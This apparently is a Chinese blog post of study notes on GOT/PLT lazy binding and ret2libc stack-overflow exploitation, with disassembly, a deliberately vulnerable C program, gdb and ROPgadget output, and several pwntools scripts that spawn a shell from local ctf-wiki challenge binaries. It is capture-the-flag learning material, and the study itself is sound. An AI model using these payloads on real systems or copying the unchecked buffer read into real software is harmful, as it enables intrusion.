ret2libc

ret2libc

root@a1station:~/pwn/got# cat got.c
#include <stdio.h>

static int a;
extern int b;
extern void test();

int func()
{
    a = 1;
    b = 2;
    return 0;
}

int main()
{
    func();
    test();
    printf("hey!\n");

    return 0;
}
root@a1station:~/pwn/got#
root@a1station:~/pwn/got# cat got_extern.c
#include <stdio.h>

int b;
void test()
{
    printf("Test\n");
}
root@a1station:~/pwn/got#
root@a1station:~/pwn/got# cat 1.sh
gcc got_extern.c -fPIC -shared -m32 -O0 -o got_extern.so
gcc got.c ./got_extern.so -fPIC -m32 -O0  -o got
0804858b <func>:
 804858b:	55                   	push   %ebp
 804858c:	89 e5                	mov    %esp,%ebp
 804858e:	e8 67 00 00 00       	call   80485fa <__x86.get_pc_thunk.ax>
 8048593:	05 6d 1a 00 00       	add    $0x1a6d,%eax
 // 0x8048593 + 0x1a6d + 0x24 = 0x804a024 (未初始化数据段)
 8048598:	c7 80 24 00 00 00 01 	movl   $0x1,0x24(%eax)	// 2. 模块内部数据访问
 804859f:	00 00 00
 80485a2:	8b 80 f8 ff ff ff    	mov    -0x8(%eax),%eax
 // 0x8048593 + 0x1a6d - 0x8 = 0x8049ff8  (got表偏移)
 80485a8:	c7 00 02 00 00 00    	movl   $0x2,(%eax)
 80485ae:	b8 00 00 00 00       	mov    $0x0,%eax
 80485b3:	5d                   	pop    %ebp
 80485b4:	c3                   	ret

080485b5 <main>:
 80485b5:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 80485b9:	83 e4 f0             	and    $0xfffffff0,%esp
 80485bc:	ff 71 fc             	pushl  -0x4(%ecx)
 80485bf:	55                   	push   %ebp
 80485c0:	89 e5                	mov    %esp,%ebp
 80485c2:	53                   	push   %ebx
 80485c3:	51                   	push   %ecx
 80485c4:	e8 f7 fe ff ff       	call   80484c0 <__x86.get_pc_thunk.bx>
 80485c9:	81 c3 37 1a 00 00    	add    $0x1a37,%ebx
 80485cf:	e8 b7 ff ff ff       	call   804858b <func>	// 1. 模块内部数据调用。
 // 0xffffffb7 --> -73
 // 0x80485cf + 5 - 73 = 0x804858b
 80485d4:	e8 97 fe ff ff       	call   8048470 <test@plt> // 4. 模块间函数调用
 // 0x80485d4 + 0xfffffe97 + 5 = 0x8048470
 80485d9:	83 ec 0c             	sub    $0xc,%esp
 80485dc:	8d 83 80 e6 ff ff    	lea    -0x1980(%ebx),%eax
 80485e2:	50                   	push   %eax
 80485e3:	e8 68 fe ff ff       	call   8048450 <puts@plt>
 80485e8:	83 c4 10             	add    $0x10,%esp
 80485eb:	b8 00 00 00 00       	mov    $0x0,%eax
 80485f0:	8d 65 f8             	lea    -0x8(%ebp),%esp
 80485f3:	59                   	pop    %ecx
 80485f4:	5b                   	pop    %ebx
 80485f5:	5d                   	pop    %ebp
 80485f6:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80485f9:	c3                   	ret

080485fa <__x86.get_pc_thunk.ax>:
 80485fa:	8b 04 24             	mov    (%esp),%eax
 80485fd:	c3                   	ret
 80485fe:	66 90                	xchg   %ax,%ax
 11 .plt          00000040  08048440  08048440  00000440  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 22 .got          00000008  08049ff8  08049ff8  00000ff8  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          00000008  0804a020  0804a020  00001020  2**2
                  ALLOC
root@a1station:~/pwn/got# objdump -R got

got:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff8 R_386_GLOB_DAT    b
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   test

延迟绑定

.got表中存放着全局变量的引用
.got.plt存放着函数的引用

08048470 <test@plt>:
 8048470:	ff 25 14 a0 04 08    	jmp    *0x804a014  (位于.got.plt表中)
 8048476:	68 10 00 00 00       	push   $0x10
 804847b:	e9 c0 ff ff ff       	jmp    8048440 <_init+0x30>
 23 .got.plt      00000018  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
root@a1station:~/pwn/got# objdump -d -s got -j .got.plt

got:     file format elf32-i386

Contents of section .got.plt:
 804a000 089f0408 00000000 00000000 56840408  ............V...
 804a010 66840408 76840408                    f...v...

Disassembly of section .got.plt:

0804a000 <_GLOBAL_OFFSET_TABLE_>:
 804a000:	08 9f 04 08 00 00 00 00 00 00 00 00 56 84 04 08     ............V...
 804a010:	66 84 04 08 76 84 04 08                             f...v...

程序调用外部函数的整个过程就是,第一次访问 test@plt 函数时,动态链接器就会去动态共享模块中查找 test 函数的真实地址然后将真实地址保存到test@got中(.got.plt);第二次访问test@plt时,就直接跳转到test@got中去。

实验

#undef _FORTIFY_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char **argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "hello, world\n", 13);
	
	return 0;
}

不开启DEP保护编译
gcc -fno-stack-protector -z execstack -o ret2lib ret2lib.c
开启DEP保护编译
gcc -fno-stack-protector -o ret2lib ret2lib.c

实战:
编译: gcc -fno-stack-protector -no-pie -m32 -o ret2lib ret2lib.c

  1. 找system
root@a1station:~/pwn/got# objdump -T /lib/i386-linux-gnu/libc.so.6  | grep system
00112f20 g    DF .text	00000044  GLIBC_2.0   svcerr_systemerr
0003ada0 g    DF .text	00000037  GLIBC_PRIVATE __libc_system
0003ada0  w   DF .text	00000037  GLIBC_2.0   system

0xf7dfd000 + 0003ada0 = 0xf7e37da0

  1. 找/bin/sh
    https://github.com/JonathanSalwan/ROPgadget
root@a1station:~/pwn/got# ROPgadget --binary /lib/i386-linux-gnu/libc.so.6  --string "/bin/sh"
Strings information
============================================================
0x0015ba0b : /bin/sh

0xf7dfd000 + 0x0015ba0b = 0xf7f58a0b

gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140

gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140
from pwn import *

# root@ubuntu:~/pwn/got# ldd ./ret2lib
# 	linux-gate.so.1 =>  (0xf7fda000)
# 	libc.so.6 => /lib32/libc.so.6 (0xf7e1f000)
# 	/lib/ld-linux.so.2 (0xf7fdc000)
# root@ubuntu:~/pwn/got# objdump -T /lib32/libc.so.6 | grep system
# 00118e50 g    DF .text	00000049  GLIBC_2.0   svcerr_systemerr
# 0003fe70 g    DF .text	00000038  GLIBC_PRIVATE __libc_system
# 0003fe70  w   DF .text	00000038  GLIBC_2.0   system
#
# system_addr = 0xf7e1f000 + 0x0003fe70 = 0xf7e5ee70


# root@ubuntu:~/pwn/got# ROPgadget --binary /lib32/libc.so.6  --string "/bin/sh"
# Strings information
# ============================================================
# 0x0015ffcc : /bin/sh
#
# binsh_addr = 0xf7e1f000 + 0x0015ffcc = 0xf7f7efcc


# context.log_level = 'debug'

sh = process("./ret2lib")

system_addr = p32(0xf7e5ee70)
system_ret_addr =  p32(0xdeadbeef)
binsh_addr =  p32(0xf7f7efcc)

paylaod = 'a' * 140 + system_addr + system_ret_addr + binsh_addr

sh.sendline(paylaod)
sh.interactive()

ret2libc1

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1

gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
root@ubuntu:~/pwn/ret2libc1# objdump -d -j .plt  ret2libc1   | grep system -A 5
08048460 <system@plt>:
 8048460:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048466:	68 18 00 00 00       	push   $0x18
 804846b:	e9 b0 ff ff ff       	jmp    8048420 <_init+0x24>
root@ubuntu:~/pwn/ret2libc1# ROPgadget --binary ./ret2libc1 --string "/bin/sh"
Strings information
============================================================
0x08048720 : /bin/sh

思路,跳转到system@plt表,plt表会寻址system地址,ret2libc

from pwn import *


sh = process("./ret2libc1")
elf = ELF("./ret2libc1")

def pwn(sh, payload):
	sh.recvuntil("\n")
	sh.sendline(payload)
	sh.interactive()

system_addr = elf.plt['system']
print hex(system_addr)

binsh_addr = elf.search('/bin/sh').next()
print hex(binsh_addr)

ret_addr = 0xdeadbeaf

payload = 'a' * 112 + p32(system_addr) + p32(ret_addr) + p32(binsh_addr)
print payload[112:]

pwn(sh, payload)

ret2libc2

https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2

文件中不包含/bin/sh, 需要自己加入.
查看plt表

root@ubuntu:~/pwn/ret2libc2# objdump -R ret2libc2

ret2libc2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a040 R_386_COPY        stdin
0804a060 R_386_COPY        stdout
0804a00c R_386_JUMP_SLOT   printf
0804a010 R_386_JUMP_SLOT   gets
0804a014 R_386_JUMP_SLOT   time
0804a018 R_386_JUMP_SLOT   puts
0804a01c R_386_JUMP_SLOT   system
0804a020 R_386_JUMP_SLOT   __gmon_start__
0804a024 R_386_JUMP_SLOT   srand
0804a028 R_386_JUMP_SLOT   __libc_start_main
0804a02c R_386_JUMP_SLOT   setvbuf
0804a030 R_386_JUMP_SLOT   rand
0804a034 R_386_JUMP_SLOT   __isoc99_scanf

system 和 gets
思路:
先用gets写入/bin/sh, 然后system执行shell

root@ubuntu:~/pwn/ret2libc2# ROPgadget --binary ./ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret  【 随便选个 】
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
root@ubuntu:~/pwn/ret2libc2# objdump -d -j .plt ret2libc2  | grep -e system -e gets -A 4
08048460 <gets@plt>:
 8048460:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048466:	68 08 00 00 00       	push   $0x8
 804846b:	e9 d0 ff ff ff       	jmp    8048440 <_init+0x24>

--
08048490 <system@plt>:
 8048490:	ff 25 1c a0 04 08    	jmp    *0x804a01c
 8048496:	68 20 00 00 00       	push   $0x20
 804849b:	e9 a0 ff ff ff       	jmp    8048440 <_init+0x24>

exp1:
在这里插入图片描述

import time
from pwn import *


sh = process("./ret2libc2")
elf = ELF("./ret2libc2")


def pwn(sh, payload1, payload2):
	sh.recvuntil('?')
	sh.sendline(payload1 + payload2)
	sh.sendline('/bin/sh')
	sh.interactive()

buf_addr = elf.symbols['buf2']
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef

payload1 = 'a' * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf_addr)
payload2 = p32(system_plt) + p32(ret_addr) + p32(buf_addr)

pwn(sh, payload1, payload2)

sys.exit(0)

# payload = flat(
# 	['a'*112, gets_plt, pop_ebx_ret, buf_addr, system_plt, ret_addr, buf_addr]
# )
# sh.sendline(payload)
# sh.sendline('/bin/sh')
# sh.interactive()

另一个exp:

from pwn import *


sh = process("./ret2libc2")
elf = ELF("./ret2libc2")


def pwn(sh, payload):
	sh.recvuntil('?')
	sh.sendline(payload)
	sh.sendline('/bin/sh')
	sh.interactive()

buf = elf.symbols['buf2'] # 0x0804A080
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804872f
ret_addr = 0xdeadbeef

payload = 'a' * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)
其它

call:

pushl %eip
movl f, %eip

enter:

pushl %ebp
movl %esp, %ebp

leave:

movl %ebp, %esp
popl %ebp

ret:

popl %eip
links

https://www.freebuf.com/news/182894.html
https://github.com/ctf-wiki/ctf-wiki 学习资源
https://blog.51cto.com/11797152/2379739
https://www.freebuf.com/news/182894.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值